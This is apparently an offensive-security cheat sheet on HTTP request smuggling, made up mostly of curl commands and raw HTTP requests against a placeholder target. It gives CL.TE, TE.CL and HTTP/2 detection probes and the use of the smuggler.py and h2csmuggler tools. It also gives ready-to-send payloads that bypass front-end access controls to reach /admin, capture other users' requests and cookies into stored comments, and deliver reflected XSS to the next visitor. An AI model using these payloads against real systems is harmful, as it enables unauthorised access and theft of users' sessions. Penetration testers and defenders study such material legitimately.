Exploiting HTTP Request Smuggling

# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"

# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app

# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

# Check if Transfer-Encoding is supported
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin

# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request

# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# If response is delayed (~5-10 seconds), CL.TE is likely

# Burp Repeater - disable "Update Content-Length"

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix

# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors

# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST

# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results

# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"

# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected

# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy

# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.example.com
Foo: x

# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly

# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location

POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

body=

# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers

# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response

POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x

# Next user receives the XSS response instead of their expected response

# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't

# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content

# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header

# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2

# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests

# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls